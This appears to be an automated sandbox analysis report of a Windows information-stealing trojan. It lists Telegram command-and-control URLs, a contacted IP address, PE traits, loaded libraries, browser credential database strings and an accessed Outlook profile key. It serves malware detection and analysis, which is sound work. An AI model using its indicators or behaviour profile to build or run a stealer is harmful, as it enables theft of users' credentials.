Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/hwlflcqshvwp:
Source: NJna3TEAEr.exe, 00000000.00000002.2478224507.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/hwlflcqshvwpi5
Source: NJna3TEAEr.exe, 00000000.00000003.2021420226.00000000016C8000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2478224507.0000000001690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: NJna3TEAEr.exe, 00000000.00000002.2494162707.0000000027CC2000.00000004.00000020.00020000.00000000.sdmp, FBKEHJEGCFBFHJJKJEHD.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: NJna3TEAEr.exe, 00000000.00000003.2099769186.0000000001724000.00000004.00000020.00020000.00000000.sdmp, AKKFHDAK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://www.mozilla.org
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: NJna3TEAEr.exe, 00000000.00000003.2190649711.000000002DE51000.00000004.00000020.00020000.00000000.sdmp, EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: NJna3TEAEr.exe, 00000000.00000003.2190649711.000000002DE51000.00000004.00000020.00020000.00000000.sdmp, EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: NJna3TEAEr.exe, 00000000.00000002.2476006185.000000000033A000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: NJna3TEAEr.exe, 00000000.00000003.2190649711.000000002DE51000.00000004.00000020.00020000.00000000.sdmp, EGHCBKKKFHCGCBFIJEHDGIDGCF.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708

Source: unknown

HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49708 version: TLS 1.2

System Summary

PE file has a writeable .text section

Source: NJna3TEAEr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C63B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C63B700
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C63B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C63B8C0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C63B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C63B910
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5DF280

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5D35A0	0_2_6C5D35A0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5E5440	0_2_6C5E5440
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C64545C	0_2_6C64545C
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C64542B	0_2_6C64542B
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C64AC00	0_2_6C64AC00
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C615C10	0_2_6C615C10
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C622C10	0_2_6C622C10
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5FD4D0	0_2_6C5FD4D0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C616CF0	0_2_6C616CF0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5E64C0	0_2_6C5E64C0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5DD4E0	0_2_6C5DD4E0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6334A0	0_2_6C6334A0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C63C4A0	0_2_6C63C4A0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5E6C80	0_2_6C5E6C80
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5FED10	0_2_6C5FED10
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5EFD00	0_2_6C5EFD00
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C600512	0_2_6C600512
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6385F0	0_2_6C6385F0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C610DD0	0_2_6C610DD0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C646E63	0_2_6C646E63
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5F9E50	0_2_6C5F9E50
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5F4640	0_2_6C5F4640
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C622E4E	0_2_6C622E4E
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5DC670	0_2_6C5DC670
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C613E50	0_2_6C613E50
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C639E30	0_2_6C639E30
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C625600	0_2_6C625600
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C617E10	0_2_6C617E10
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6476E3	0_2_6C6476E3
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5DBEF0	0_2_6C5DBEF0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5EFEF0	0_2_6C5EFEF0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C634EA0	0_2_6C634EA0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5F5E90	0_2_6C5F5E90
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C63E680	0_2_6C63E680
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5E9F00	0_2_6C5E9F00
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C617710	0_2_6C617710
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C606FF0	0_2_6C606FF0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5DDFE0	0_2_6C5DDFE0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6277A0	0_2_6C6277A0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5F8850	0_2_6C5F8850
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5FD850	0_2_6C5FD850
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C61F070	0_2_6C61F070
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C61B820	0_2_6C61B820
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C624820	0_2_6C624820
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5E7810	0_2_6C5E7810
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6158E0	0_2_6C6158E0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6450C7	0_2_6C6450C7
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5FC0E0	0_2_6C5FC0E0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6060A0	0_2_6C6060A0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C62B970	0_2_6C62B970
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C64B170	0_2_6C64B170
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5FA940	0_2_6C5FA940
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5ED960	0_2_6C5ED960
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C60D9B0	0_2_6C60D9B0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C615190	0_2_6C615190
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C632990	0_2_6C632990
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5DC9A0	0_2_6C5DC9A0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C619A60	0_2_6C619A60
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C61E2F0	0_2_6C61E2F0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C618AC0	0_2_6C618AC0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5F1AF0	0_2_6C5F1AF0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C604AA0	0_2_6C604AA0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C642AB0	0_2_6C642AB0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5ECAB0	0_2_6C5ECAB0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C64BA90	0_2_6C64BA90
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5D22A0	0_2_6C5D22A0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5D5340	0_2_6C5D5340
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5EC370	0_2_6C5EC370
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C61D320	0_2_6C61D320
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6453C8	0_2_6C6453C8
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C5DF380	0_2_6C5DF380
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C68AC60	0_2_6C68AC60
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C75AC30	0_2_6C75AC30
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C746C00	0_2_6C746C00
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C67ECC0	0_2_6C67ECC0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6DECD0	0_2_6C6DECD0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C74ED70	0_2_6C74ED70
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C7AAD50	0_2_6C7AAD50
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C80CDC0	0_2_6C80CDC0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C808D20	0_2_6C808D20
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C684DB0	0_2_6C684DB0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C716D90	0_2_6C716D90
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C71EE70	0_2_6C71EE70
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C760E20	0_2_6C760E20
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C68AEC0	0_2_6C68AEC0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C720EC0	0_2_6C720EC0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C706E90	0_2_6C706E90
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C742F70	0_2_6C742F70
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6EEF40	0_2_6C6EEF40
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C7C0F20	0_2_6C7C0F20
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C686F10	0_2_6C686F10
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C75EFF0	0_2_6C75EFF0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C680FE0	0_2_6C680FE0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C7C8FB0	0_2_6C7C8FB0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C68EFB0	0_2_6C68EFB0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C754840	0_2_6C754840
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6D0820	0_2_6C6D0820
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C70A820	0_2_6C70A820
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C7868E0	0_2_6C7868E0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C76C8C0	0_2_6C76C8C0
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6B8960	0_2_6C6B8960
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: 0_2_6C6D6900	0_2_6C6D6900

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: String function: 6C8009D0 appears 79 times
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: String function: 6C60CBE8 appears 134 times
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: String function: 6C6194D0 appears 90 times
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Code function: String function: 002E45C0 appears 318 times

Source: NJna3TEAEr.exe

Static PE information: invalid certificate

Source: NJna3TEAEr.exe, 00000000.00000002.2500566654.000000006C855000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs NJna3TEAEr.exe
Source: NJna3TEAEr.exe, 00000000.00000002.2500129482.000000006C662000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs NJna3TEAEr.exe

Source: NJna3TEAEr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/38@1/3

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_6C637030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C637030

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_002F9600

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Code function: 0_2_002F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_002F3720

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\LK6TA5PE.htm

Jump to behavior

Source: NJna3TEAEr.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: NJna3TEAEr.exe, NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: NJna3TEAEr.exe, 00000000.00000002.2500406607.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: NJna3TEAEr.exe, 00000000.00000003.2109386605.000000001BAEA000.00000004.00000020.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000003.2099321004.000000001BACC000.00000004.00000020.00020000.00000000.sdmp, KKEHDBAEGIIIEBGCAAFH.0.dr, IJEGHJECFCFCBFIDBGCG.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: NJna3TEAEr.exe, 00000000.00000002.2499784851.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, NJna3TEAEr.exe, 00000000.00000002.2489031140.000000001BBB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: NJna3TEAEr.exe

ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NJna3TEAEr.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\NJna3TEAEr.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: NJna3TEAEr.exe

